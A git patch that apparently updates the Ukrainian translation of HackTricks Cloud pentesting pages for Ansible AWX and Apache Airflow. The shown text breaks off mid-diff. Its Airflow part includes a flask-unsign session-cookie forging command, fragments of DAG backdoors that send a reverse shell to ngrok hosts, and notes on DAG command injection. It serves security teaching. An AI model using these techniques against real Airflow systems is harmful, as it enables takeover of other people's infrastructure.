From 5630d68e4e1a0cb87a3634b0dabd7a44a552cc50 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 2 Jan 2025 01:49:00 +0000 Subject: [PATCH] Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/ --- src/banners/hacktricks-training.md | 2 +- ...ower-awx-automation-controller-security.md | 94 ++++---- .../apache-airflow-security/README.md | 36 +-- .../airflow-configuration.md | 20 +- .../apache-airflow-security/airflow-rbac.md | 4 +- src/pentesting-ci-cd/atlantis-security.md | 96 ++++---- src/pentesting-ci-cd/circleci-security.md | 32 +-- .../cloudflare-security/README.md | 8 +- .../cloudflare-security/cloudflare-domains.md | 36 +-- .../cloudflare-zero-trust-network.md | 38 +-- .../concourse-security/README.md | 2 +- .../concourse-architecture.md | 4 +- .../concourse-enumeration-and-attacks.md | 46 ++-- .../concourse-lab-creation.md | 26 +-- src/pentesting-ci-cd/gitea-security/README.md | 40 ++-- .../gitea-security/basic-gitea-information.md | 28 +-- .../github-security/README.md | 64 ++--- .../abusing-github-actions/README.md | 86 ++++--- .../gh-actions-context-script-injections.md | 2 +- .../accessible-deleted-data-in-github.md | 4 +- .../basic-github-information.md | 110 ++++----- .../jenkins-security/README.md | 58 ++--- .../basic-jenkins-information.md | 22 +- ...itrary-file-read-to-rce-via-remember-me.md | 10 +- ...jenkins-rce-creating-modifying-pipeline.md | 12 +- .../jenkins-rce-creating-modifying-project.md | 14 +- .../jenkins-rce-with-groovy-script.md | 12 +- src/pentesting-ci-cd/okta-security/README.md | 68 +++--- .../okta-security/okta-hardening.md | 46 ++-- .../pentesting-ci-cd-methodology.md | 48 ++-- .../serverless.com-security.md | 218 +++++++++--------- src/pentesting-ci-cd/supabase-security.md | 36 +-- src/pentesting-ci-cd/terraform-security.md | 70 +++--- src/pentesting-ci-cd/todo.md | 4 +- .../travisci-security/README.md | 24 +- .../basic-travisci-information.md | 16 +- src/pentesting-ci-cd/vercel-security.md | 84 +++---- src/pentesting-cloud/aws-security/README.md | 84 +++---- .../aws-basic-information/README.md | 102 ++++---- .../aws-federation-abuse.md | 14 +- .../aws-permissions-for-a-pentest.md | 6 +- .../aws-security/aws-persistence/README.md | 2 +- .../aws-cognito-persistence.md | 8 +- .../aws-dynamodb-persistence.md | 2 +- .../aws-persistence/aws-ec2-persistence.md | 18 +- .../aws-persistence/aws-ecr-persistence.md | 4 +- .../aws-persistence/aws-ecs-persistence.md | 4 +- .../aws-persistence/aws-efs-persistence.md | 6 +- .../aws-elastic-beanstalk-persistence.md | 4 +- .../aws-persistence/aws-iam-persistence.md | 8 +- .../aws-lambda-persistence/README.md | 14 +- .../aws-abusing-lambda-extensions.md | 6 +- .../aws-lambda-layers-persistence.md | 24 +- .../aws-lightsail-persistence.md | 4 +- .../aws-persistence/aws-s3-persistence.md | 2 +- .../aws-persistence/aws-sqs-persistence.md | 2 +- .../aws-step-functions-persistence.md | 12 +- .../aws-persistence/aws-sts-persistence.md | 4 +- .../aws-api-gateway-post-exploitation.md | 8 +- .../aws-cloudfront-post-exploitation.md | 4 +- .../aws-codebuild-post-exploitation/README.md | 16 +- .../aws-codebuild-token-leakage.md | 18 +- .../aws-dlm-post-exploitation.md | 6 +- .../aws-dynamodb-post-exploitation.md | 12 +- .../README.md | 40 ++-- .../aws-ebs-snapshot-dump.md | 18 +- .../aws-malicious-vpc-mirror.md | 6 +- .../aws-ecr-post-exploitation.md | 2 +- .../aws-ecs-post-exploitation.md | 6 +- .../aws-efs-post-exploitation.md | 2 +- .../aws-eks-post-exploitation.md | 24 +- ...aws-elastic-beanstalk-post-exploitation.md | 6 +- .../aws-iam-post-exploitation.md | 14 +- .../aws-kms-post-exploitation.md | 8 +- .../aws-lambda-post-exploitation/README.md | 2 +- .../aws-warm-lambda-persistence.md | 8 +- .../aws-lightsail-post-exploitation.md | 2 +- .../aws-organizations-post-exploitation.md | 4 +- .../aws-rds-post-exploitation.md | 8 +- .../aws-s3-post-exploitation.md | 14 +- .../aws-secrets-manager-post-exploitation.md | 6 +- .../aws-ses-post-exploitation.md | 12 +- .../aws-sns-post-exploitation.md | 8 +- .../aws-sqs-post-exploitation.md | 12 +- ...sso-and-identitystore-post-exploitation.md | 4 +- .../aws-stepfunctions-post-exploitation.md | 14 +- .../aws-sts-post-exploitation.md | 7 +- .../aws-privilege-escalation/README.md | 4 +- .../aws-apigateway-privesc.md | 8 +- .../aws-cloudformation-privesc/README.md | 8 +- ...stack-and-cloudformation-describestacks.md | 4 +- .../aws-codebuild-privesc.md | 12 +- .../aws-codepipeline-privesc.md | 2 +- .../aws-codestar-privesc/README.md | 6 +- ...ateproject-codestar-associateteammember.md | 2 +- .../iam-passrole-codestar-createproject.md | 4 +- .../aws-cognito-privesc.md | 32 +-- .../aws-datapipeline-privesc.md | 4 +- .../aws-directory-services-privesc.md | 2 +- .../aws-dynamodb-privesc.md | 4 +- .../aws-ebs-privesc.md | 2 +- .../aws-ec2-privesc.md | 30 +-- .../aws-ecr-privesc.md | 8 +- .../aws-ecs-privesc.md | 28 +-- .../aws-efs-privesc.md | 12 +- .../aws-elastic-beanstalk-privesc.md | 6 +- .../aws-emr-privesc.md | 12 +- .../aws-privilege-escalation/aws-gamelift.md | 4 +- .../aws-glue-privesc.md | 8 +- .../aws-iam-privesc.md | 10 +- .../aws-kms-privesc.md | 4 +- .../aws-lambda-privesc.md | 28 +-- .../aws-lightsail-privesc.md | 10 +- .../aws-mq-privesc.md | 6 +- .../aws-msk-privesc.md | 4 +- .../aws-organizations-prinvesc.md | 4 +- .../aws-rds-privesc.md | 18 +- .../aws-redshift-privesc.md | 10 +- .../aws-s3-privesc.md | 10 +- .../aws-sagemaker-privesc.md | 16 +- .../aws-secrets-manager-privesc.md | 2 +- .../aws-sns-privesc.md | 6 +- .../aws-sqs-privesc.md | 10 +- .../aws-ssm-privesc.md | 24 +- .../aws-sso-and-identitystore-privesc.md | 10 +- .../aws-stepfunctions-privesc.md | 26 +-- .../aws-sts-privesc.md | 8 +- .../aws-workdocs-privesc.md | 2 +- .../eventbridgescheduler-privesc.md | 2 +- ...acm-pca-issuecertificate-acm-pca-getcer.md | 8 +- .../aws-security/aws-services/README.md | 36 +-- .../aws-services/aws-api-gateway-enum.md | 46 ++-- ...m-and-private-certificate-authority-pca.md | 2 +- .../aws-cloudformation-and-codestar-enum.md | 4 +- .../aws-services/aws-cloudfront-enum.md | 6 +- .../aws-services/aws-cloudhsm-enum.md | 28 +-- .../aws-services/aws-codebuild-enum.md | 12 +- .../aws-services/aws-cognito-enum/README.md | 2 +- .../cognito-identity-pools.md | 28 +-- .../aws-cognito-enum/cognito-user-pools.md | 64 ++--- ...e-codepipeline-codebuild-and-codecommit.md | 10 +- .../aws-directory-services-workdocs-enum.md | 28 +-- .../aws-services/aws-documentdb-enum.md | 2 +- .../aws-services/aws-dynamodb-enum.md | 24 +- .../README.md | 26 +-- .../aws-nitro-enum.md | 40 ++-- ...ws-vpc-and-networking-basic-information.md | 80 +++---- .../aws-security/aws-services/aws-ecr-enum.md | 14 +- .../aws-security/aws-services/aws-ecs-enum.md | 10 +- .../aws-security/aws-services/aws-efs-enum.md | 22 +- .../aws-security/aws-services/aws-eks-enum.md | 4 +- .../aws-elastic-beanstalk-enum.md | 24 +- .../aws-services/aws-elasticache.md | 2 +- .../aws-security/aws-services/aws-emr-enum.md | 16 +- .../aws-security/aws-services/aws-iam-enum.md | 42 ++-- .../aws-kinesis-data-firehose-enum.md | 4 +- .../aws-security/aws-services/aws-kms-enum.md | 36 +-- .../aws-services/aws-lambda-enum.md | 28 +-- .../aws-services/aws-lightsail-enum.md | 6 +- .../aws-security/aws-services/aws-mq-enum.md | 6 +- .../aws-security/aws-services/aws-msk-enum.md | 10 +- .../aws-services/aws-organizations-enum.md | 4 +- .../aws-services/aws-other-services-enum.md | 4 +- .../aws-services/aws-redshift-enum.md | 6 +- .../aws-relational-database-rds-enum.md | 18 +- .../aws-services/aws-route53-enum.md | 2 +- .../aws-s3-athena-and-glacier-enum.md | 36 +-- .../aws-services/aws-secrets-manager-enum.md | 4 +- .../aws-cloudtrail-enum.md | 88 +++---- .../aws-cloudwatch-enum.md | 58 ++--- .../aws-config-enum.md | 12 +- .../aws-control-tower-enum.md | 6 +- .../aws-cost-explorer-enum.md | 4 +- .../aws-detective-enum.md | 2 +- .../aws-firewall-manager-enum.md | 40 ++-- .../aws-guardduty-enum.md | 44 ++-- .../aws-inspector-enum.md | 44 ++-- .../aws-macie-enum.md | 20 +- .../aws-shield-enum.md | 4 +- .../aws-trusted-advisor-enum.md | 12 +- .../aws-waf-enum.md | 54 ++--- .../aws-security/aws-services/aws-ses-enum.md | 6 +- .../aws-security/aws-services/aws-sns-enum.md | 8 +- .../aws-services/aws-sqs-and-sns-enum.md | 2 +- .../aws-services/aws-stepfunctions-enum.md | 38 +-- .../aws-security/aws-services/aws-sts-enum.md | 10 +- .../aws-services/eventbridgescheduler-enum.md | 18 +- .../aws-unauthenticated-enum-access/README.md | 6 +- .../aws-accounts-unauthenticated-enum.md | 6 +- .../aws-api-gateway-unauthenticated-enum.md | 10 +- .../aws-codebuild-unauthenticated-access.md | 16 +- .../aws-cognito-unauthenticated-enum.md | 16 +- .../aws-dynamodb-unauthenticated-access.md | 4 +- .../aws-ec2-unauthenticated-enum.md | 14 +- .../aws-ecr-unauthenticated-enum.md | 4 +- .../aws-ecs-unauthenticated-enum.md | 6 +- ...-elastic-beanstalk-unauthenticated-enum.md | 2 +- .../aws-iam-and-sts-unauthenticated-enum.md | 20 +- ...ity-center-and-sso-unauthenticated-enum.md | 14 +- .../aws-lambda-unauthenticated-access.md | 2 +- .../aws-mq-unauthenticated-enum.md | 8 +- .../aws-msk-unauthenticated-enum.md | 2 +- .../aws-rds-unauthenticated-enum.md | 6 +- .../aws-s3-unauthenticated-enum.md | 22 +- .../aws-sns-unauthenticated-enum.md | 4 +- .../aws-sqs-unauthenticated-enum.md | 8 +- src/pentesting-cloud/azure-security/README.md | 28 +-- .../az-basic-information/README.md | 126 +++++----- .../az-tokens-and-public-applications.md | 65 +++--- .../azure-security/az-device-registration.md | 22 +- .../azure-security/az-enumeration-tools.md | 16 +- .../README.md | 42 ++-- .../az-arc-vulnerable-gpo-deploy-script.md | 10 +- .../az-local-cloud-credentials.md | 32 +-- .../az-pass-the-certificate.md | 10 +- .../az-pass-the-cookie.md | 6 +- .../az-primary-refresh-token-prt.md | 2 +- .../az-processes-memory-access-token.md | 8 +- .../az-cloud-kerberos-trust.md | 12 +- .../az-default-applications.md | 2 +- .../az-synchronising-new-users.md | 4 +- .../federation.md | 38 +-- .../phs-password-hash-sync.md | 36 +-- .../pass-the-prt.md | 52 ++--- .../az-permissions-for-a-pentest.md | 2 +- .../pentesting-cloud-methodology.md | 44 ++-- 226 files changed, 2238 insertions(+), 2256 deletions(-) diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index 0b82df989..92129bfed 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -7,7 +7,7 @@ > Підтримайте HackTricks > > - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! -> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** > - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github. > > diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 447fc7e83..c7e1d26f4 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -4,13 +4,13 @@ ## Basic Information -**Ansible Tower** або його відкрита версія [**AWX**](https://github.com/ansible/awx) також відомий як **інтерфейс користувача Ansible, панель управління та REST API**. Завдяки **контролю доступу на основі ролей**, плануванню завдань та графічному управлінню інвентарем, ви можете керувати вашою інфраструктурою Ansible з сучасного інтерфейсу. REST API Tower та командний інтерфейс спрощують інтеграцію з поточними інструментами та робочими процесами. +**Ansible Tower** або його відкрита версія [**AWX**](https://github.com/ansible/awx) також відомий як **інтерфейс користувача Ansible, панель управління та REST API**. Завдяки **контролю доступу на основі ролей**, плануванню завдань та графічному управлінню інвентарем, ви можете керувати своєю інфраструктурою Ansible з сучасного інтерфейсу. REST API Tower та командний інтерфейс спрощують інтеграцію з поточними інструментами та робочими процесами. -**Automation Controller є новішою** версією Ansible Tower з більшою кількістю можливостей. +**Automation Controller є новішою** версією Ansible Tower з більшими можливостями. ### Differences -Згідно з [**цим**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), основні відмінності між Ansible Tower та AWX полягають у отриманій підтримці, а Ansible Tower має додаткові функції, такі як контроль доступу на основі ролей, підтримка користувацьких API та визначені користувачем робочі процеси. +Згідно з [**цією**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) інформацією, основні відмінності між Ansible Tower та AWX полягають у отриманій підтримці, а Ansible Tower має додаткові функції, такі як контроль доступу на основі ролей, підтримка користувацьких API та визначені користувачем робочі процеси. ### Tech Stack @@ -18,7 +18,7 @@ - **REST API**: Все, що ви можете зробити в веб-інтерфейсі, ви також можете зробити через REST API. Це означає, що ви можете інтегрувати AWX/Tower з іншими системами або скриптувати дії, які ви зазвичай виконуєте в інтерфейсі. - **Database**: AWX/Tower використовує базу даних (зазвичай PostgreSQL) для зберігання своєї конфігурації, результатів завдань та інших необхідних операційних даних. - **RabbitMQ**: Це система обміну повідомленнями, що використовується AWX/Tower для зв'язку між різними компонентами, особливо між веб-сервісом та виконавцями завдань. -- **Redis**: Redis служить кешем та бекендом для черги завдань. +- **Redis**: Redis слугує кешем та бекендом для черги завдань. ### Logical Components @@ -29,34 +29,34 @@ - **Task Engine**: Тут відбувається магія. Двигун завдань побудований на Ansible і відповідає за **виконання playbooks**. Завдання надсилаються до двигуна завдань, який потім виконує Ansible playbooks проти призначеного інвентарю, використовуючи вказані облікові дані. - **Schedulers and Callbacks**: Це розширені функції в AWX/Tower, які дозволяють **планувати виконання завдань** у певний час або за зовнішніми подіями. - **Notifications**: AWX/Tower може надсилати сповіщення на основі успіху або невдачі завдань. Він підтримує різні засоби сповіщень, такі як електронні листи, повідомлення Slack, вебхуки тощо. -- **Ansible Playbooks**: Ansible playbooks є інструментами конфігурації, розгортання та оркестрації. Вони описують бажаний стан систем автоматизованим, повторюваним способом. Написані в YAML, playbooks використовують декларативну мову автоматизації Ansible для опису конфігурацій, завдань та кроків, які потрібно виконати. +- **Ansible Playbooks**: Ansible playbooks є інструментами конфігурації, розгортання та оркестрації. Вони описують бажаний стан систем у автоматизованому, повторюваному вигляді. Написані в YAML, playbooks використовують декларативну мову автоматизації Ansible для опису конфігурацій, завдань та кроків, які потрібно виконати. ### Job Execution Flow -1. **User Interaction**: Користувач може взаємодіяти з AWX/Tower через **Web Interface** або **REST API**. Ці інтерфейси надають доступ до всіх функцій, які пропонує AWX/Tower. +1. **User Interaction**: Користувач може взаємодіяти з AWX/Tower через **Web Interface** або **REST API**. Ці інтерфейси надають фронтальний доступ до всіх функцій, які пропонує AWX/Tower. 2. **Job Initiation**: - Користувач, через веб-інтерфейс або API, ініціює завдання на основі **Job Template**. - Шаблон завдання включає посилання на **Inventory**, **Project** (що містить playbook) та **Credentials**. - Після ініціації завдання запит надсилається на бекенд AWX/Tower для постановки завдання в чергу на виконання. 3. **Job Queuing**: - **RabbitMQ** обробляє обмін повідомленнями між веб-компонентом та виконавцями завдань. Як тільки завдання ініційовано, повідомлення надсилається до двигуна завдань за допомогою RabbitMQ. -- **Redis** виступає як бекенд для черги завдань, керуючи чергами завдань, що чекають виконання. +- **Redis** виступає бекендом для черги завдань, керуючи чергами завдань, що чекають виконання. 4. **Job Execution**: -- **Task Engine** підбирає завдання з черги. Він отримує необхідну інформацію з **Database** про асоційований playbook, інвентар та облікові дані. +- **Task Engine** підбирає чергове завдання. Він отримує необхідну інформацію з **Database** про асоційований playbook, інвентар та облікові дані. - Використовуючи отриманий Ansible playbook з асоційованого **Project**, двигун завдань виконує playbook проти вказаних **Inventory** вузлів, використовуючи надані **Credentials**. - Під час виконання playbook його вихідні дані (журнали, факти тощо) захоплюються та зберігаються в **Database**. 5. **Job Results**: - Як тільки playbook закінчує виконання, результати (успіх, невдача, журнали) зберігаються в **Database**. - Користувачі можуть переглядати результати через веб-інтерфейс або запитувати їх через REST API. -- На основі результатів завдань, **Notifications** можуть бути надіслані, щоб повідомити користувачів або зовнішні системи про статус завдання. Сповіщення можуть бути електронними листами, повідомленнями Slack, вебхуками тощо. +- Залежно від результатів завдань, **Notifications** можуть бути надіслані, щоб повідомити користувачів або зовнішні системи про статус завдання. Сповіщення можуть бути електронними листами, повідомленнями Slack, вебхуками тощо. 6. **External Systems Integration**: -- **Inventories** можуть динамічно отримуватись з зовнішніх систем, що дозволяє AWX/Tower отримувати хости з джерел, таких як AWS, Azure, VMware та інші. +- **Inventories** можуть бути динамічно отримані з зовнішніх систем, що дозволяє AWX/Tower отримувати хости з джерел, таких як AWS, Azure, VMware та інші. - **Projects** (playbooks) можуть бути отримані з систем контролю версій, що забезпечує використання актуальних playbooks під час виконання завдань. - **Schedulers and Callbacks** можуть бути використані для інтеграції з іншими системами або інструментами, що дозволяє AWX/Tower реагувати на зовнішні тригери або виконувати завдання у визначений час. ### AWX lab creation for testing -[**Слідуючи документації**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) можливо використовувати docker-compose для запуску AWX: +[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) можливо використовувати docker-compose для запуску AWX: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -86,51 +86,51 @@ docker exec tools_awx_1 awx-manage create_preload_data ### Підтримувані ролі -Найбільш привілейована роль називається **Системний адміністратор**. Будь-хто з цією роллю може **модифікувати все**. +Найбільш привілейована роль називається **System Administrator**. Будь-хто з цією роллю може **змінювати все**. -З точки зору **white box security** вам потрібна роль **Системного аудитора**, яка дозволяє **переглядати всі дані системи**, але не може вносити зміни. Іншою опцією було б отримати роль **Аудитора організації**, але краще отримати іншу. +З точки зору **white box security** огляду, вам потрібна роль **System Auditor**, яка дозволяє **переглядати всі дані системи**, але не може вносити зміни. Іншою опцією була б роль **Organization Auditor**, але краще отримати іншу.
Розгорніть це, щоб отримати детальний опис доступних ролей -1. **Системний адміністратор**: -- Це роль суперкористувача з дозволами на доступ і модифікацію будь-якого ресурсу в системі. +1. **System Administrator**: +- Це роль суперкористувача з дозволами на доступ і зміну будь-якого ресурсу в системі. - Вони можуть керувати всіма організаціями, командами, проектами, інвентарями, шаблонами завдань тощо. -2. **Системний аудитор**: +2. **System Auditor**: - Користувачі з цією роллю можуть переглядати всі дані системи, але не можуть вносити зміни. - Ця роль призначена для дотримання норм і контролю. -3. **Ролі організації**: -- **Адміністратор**: Повний контроль над ресурсами організації. -- **Аудитор**: Доступ лише для перегляду ресурсів організації. -- **Член**: Основне членство в організації без конкретних дозволів. -- **Виконати**: Може виконувати шаблони завдань в організації. -- **Читати**: Може переглядати ресурси організації. -4. **Ролі проекту**: -- **Адміністратор**: Може керувати і модифікувати проект. -- **Використовувати**: Може використовувати проект у шаблоні завдання. -- **Оновити**: Може оновити проект за допомогою SCM (системи контролю версій). -5. **Ролі інвентарю**: -- **Адміністратор**: Може керувати і модифікувати інвентар. -- **Ad Hoc**: Може виконувати команди ad hoc на інвентарі. -- **Оновити**: Може оновити джерело інвентарю. -- **Використовувати**: Може використовувати інвентар у шаблоні завдання. -- **Читати**: Доступ лише для перегляду. -6. **Ролі шаблона завдання**: -- **Адміністратор**: Може керувати і модифікувати шаблон завдання. -- **Виконати**: Може виконувати завдання. -- **Читати**: Доступ лише для перегляду. -7. **Ролі облікових даних**: -- **Адміністратор**: Може керувати і модифікувати облікові дані. -- **Використовувати**: Може використовувати облікові дані в шаблонах завдань або інших відповідних ресурсах. -- **Читати**: Доступ лише для перегляду. -8. **Ролі команди**: -- **Член**: Частина команди, але без конкретних дозволів. -- **Адміністратор**: Може керувати членами команди та пов'язаними ресурсами. -9. **Ролі робочого процесу**: -- **Адміністратор**: Може керувати і модифікувати робочий процес. -- **Виконати**: Може виконувати робочий процес. -- **Читати**: Доступ лише для перегляду. +3. **Organization Roles**: +- **Admin**: Повний контроль над ресурсами організації. +- **Auditor**: Доступ лише для перегляду ресурсів організації. +- **Member**: Основне членство в організації без конкретних дозволів. +- **Execute**: Може виконувати шаблони завдань в організації. +- **Read**: Може переглядати ресурси організації. +4. **Project Roles**: +- **Admin**: Може керувати і змінювати проект. +- **Use**: Може використовувати проект у шаблоні завдання. +- **Update**: Може оновлювати проект за допомогою SCM (системи контролю версій). +5. **Inventory Roles**: +- **Admin**: Може керувати і змінювати інвентар. +- **Ad Hoc**: Може виконувати ad hoc команди на інвентарі. +- **Update**: Може оновлювати джерело інвентарю. +- **Use**: Може використовувати інвентар у шаблоні завдання. +- **Read**: Доступ лише для перегляду. +6. **Job Template Roles**: +- **Admin**: Може керувати і змінювати шаблон завдання. +- **Execute**: Може виконувати завдання. +- **Read**: Доступ лише для перегляду. +7. **Credential Roles**: +- **Admin**: Може керувати і змінювати облікові дані. +- **Use**: Може використовувати облікові дані в шаблонах завдань або інших відповідних ресурсах. +- **Read**: Доступ лише для перегляду. +8. **Team Roles**: +- **Member**: Частина команди, але без конкретних дозволів. +- **Admin**: Може керувати членами команди та пов'язаними ресурсами. +9. **Workflow Roles**: +- **Admin**: Може керувати і змінювати робочий процес. +- **Execute**: Може виконувати робочий процес. +- **Read**: Доступ лише для перегляду.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 95927c264..5db2400df 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -2,21 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} -### Basic Information +### Основна інформація -[**Apache Airflow**](https://airflow.apache.org) слугує платформою для **орchestrating and scheduling data pipelines or workflows**. Термін "orchestration" у контексті data pipelines означає процес організації, координації та управління складними data workflows, що походять з різних джерел. Основна мета цих orchestrated data pipelines полягає в наданні оброблених і споживаних data sets. Ці data sets широко використовуються безліччю додатків, включаючи, але не обмежуючись, інструментами бізнес-аналітики, моделями data science та machine learning, які є основою функціонування big data applications. +[**Apache Airflow**](https://airflow.apache.org) слугує платформою для **орchestrating and scheduling data pipelines or workflows**. Термін "орchestrating" у контексті data pipelines означає процес організації, координації та управління складними data workflows, що походять з різних джерел. Основна мета цих оркестрованих data pipelines полягає в наданні оброблених і споживаних наборів даних. Ці набори даних широко використовуються безліччю додатків, включаючи, але не обмежуючись, інструментами бізнес-аналітики, моделями data science та machine learning, які є основою функціонування додатків великого обсягу даних. -В основному, Apache Airflow дозволить вам **schedule the execution of code when something** (event, cron) **happens**. +В основному, Apache Airflow дозволить вам **планувати виконання коду, коли щось** (подія, cron) **відбувається**. -### Local Lab +### Локальна лабораторія #### Docker-Compose -Ви можете використовувати **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) для запуску повного середовища apache airflow docker. (Якщо ви на MacOS, переконайтеся, що ви виділили принаймні 6 ГБ оперативної пам'яті для docker VM). +Ви можете використовувати **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) для запуску повного середовища apache airflow в docker. (Якщо ви на MacOS, переконайтеся, що виділили принаймні 6 ГБ оперативної пам'яті для docker VM). #### Minikube -Один із простих способів **run apache airflo**w - це запустити його **with minikube**: +Один із простих способів **запустити apache airflow** - це запустити його **з minikube**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -36,7 +36,7 @@ airflow-configuration.md ### RBAC Airflow -Перед початком атаки на Airflow ви повинні зрозуміти **як працюють дозволи**: +Перед початком атаки на Airflow ви повинні зрозуміти, **як працюють дозволи**: {{#ref}} airflow-rbac.md @@ -51,33 +51,33 @@ airflow-rbac.md - **Змінні** (Користувацька чутлива інформація може зберігатися тут) - **З'єднання** (Користувацька чутлива інформація може зберігатися тут) - Доступ до них за адресою `http:///connection/list/` -- [**Конфігурація**](./#airflow-configuration) (Чутлива інформація, така як **`secret_key`** та паролі можуть зберігатися тут) +- [**Конфігурація**](./#airflow-configuration) (Чутлива інформація, така як **`secret_key`** та паролі, може зберігатися тут) - Список **користувачів та ролей** - **Код кожного DAG** (який може містити цікаву інформацію) #### Отримання значень змінних Змінні можуть зберігатися в Airflow, щоб **DAG** могли **отримувати** їх значення. Це схоже на секрети інших платформ. Якщо у вас є **достатні дозволи**, ви можете отримати доступ до них у GUI за адресою `http:///variable/list/`.\ -Airflow за замовчуванням покаже значення змінної в GUI, однак, відповідно до [**цього**](https://marclamberti.com/blog/variables-with-apache-airflow/), можливо встановити **список змінних**, значення яких з'являться як **зірочки** в **GUI**. +Airflow за замовчуванням покаже значення змінної в GUI, однак, відповідно до [**цього**](https://marclamberti.com/blog/variables-with-apache-airflow/), можливо, встановити **список змінних**, значення яких з'являться як **зірочки** в **GUI**. ![](<../../images/image (164).png>) Однак ці **значення** все ще можна **отримати** через **CLI** (вам потрібно мати доступ до БД), **виконання довільного DAG**, **API** для доступу до кінцевої точки змінних (API потрібно активувати) і **навіть сам GUI!**\ -Щоб отримати ці значення з GUI, просто **виберіть змінні**, до яких ви хочете отримати доступ, і **натисніть на Дії -> Експортувати**.\ -Інший спосіб - виконати **брутфорс** до **прихованого значення**, використовуючи **фільтрацію пошуку**, поки ви його не отримаєте: +Щоб отримати доступ до цих значень з GUI, просто **виберіть змінні**, до яких ви хочете отримати доступ, і **натисніть на Дії -> Експортувати**.\ +Інший спосіб - виконати **брутфорс** для **прихованого значення**, використовуючи **фільтрацію пошуку**, поки ви його не отримаєте: ![](<../../images/image (152).png>) #### Підвищення привілеїв -Якщо конфігурація **`expose_config`** встановлена на **True**, з **ролі Користувач** і **вище** можуть **читати** **конфігурацію в вебі**. У цій конфігурації з'являється **`secret_key`**, що означає, що будь-який користувач з цим дійсним ключем може **створити свій власний підписаний cookie, щоб видавати себе за будь-який інший обліковий запис користувача**. +Якщо конфігурація **`expose_config`** встановлена на **True**, з **ролі Користувач** і **вище** можна **читати** **конфігурацію в вебі**. У цій конфігурації з'являється **`secret_key`**, що означає, що будь-який користувач з цим дійсним ключем може **створити свій власний підписаний cookie, щоб видавати себе за будь-який інший обліковий запис користувача**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` -#### DAG Backdoor (RCE in Airflow worker) +#### DAG Backdoor (RCE в Airflow worker) -Якщо у вас є **доступ на запис** до місця, де **зберігаються DAG**, ви можете просто **створити один**, який надішле вам **зворотний шелл.**\ -Зверніть увагу, що цей зворотний шелл буде виконуватись всередині **контейнера робітника Airflow**: +Якщо у вас є **доступ на запис** до місця, де **зберігаються DAG**, ви можете просто **створити один**, який надішле вам **реверсну оболонку.**\ +Зверніть увагу, що ця реверсна оболонка буде виконуватися всередині **контейнера airflow worker**: ```python import pendulum from airflow import DAG @@ -116,7 +116,7 @@ python_callable=rs, op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} ) ``` -#### DAG Backdoor (RCE in Airflow scheduler) +#### DAG Backdoor (RCE в Airflow scheduler) Якщо ви налаштуєте щось на **виконання в корені коду**, на момент написання цього тексту, це буде **виконано планувальником** через кілька секунд після розміщення його в папці DAG. ```python @@ -149,10 +149,10 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} #### Впровадження коду в DAG Коли ви виконуєте DAG з GUI, ви можете **передавати аргументи** до нього.\ -Отже, якщо DAG не правильно закодований, він може бути **вразливим до впровадження команд.**\ +Отже, якщо DAG не правильно закодований, він може бути **вразливим до Command Injection.**\ Саме це сталося в цьому CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -Все, що вам потрібно знати, щоб **почати шукати впровадження команд у DAG**, це те, що **параметри** **доступні** за допомогою коду **`dag_run.conf.get("param_name")`**. +Все, що вам потрібно знати, щоб **почати шукати командні ін'єкції в DAG**, це те, що **параметри** **доступні** за допомогою коду **`dag_run.conf.get("param_name")`**. Більше того, та ж вразливість може виникнути з **змінними** (зверніть увагу, що з достатніми привілеями ви могли б **контролювати значення змінних** в GUI). Змінні **доступні за допомогою**: ```python diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 3125b40ff..a44e8653b 100644 --- 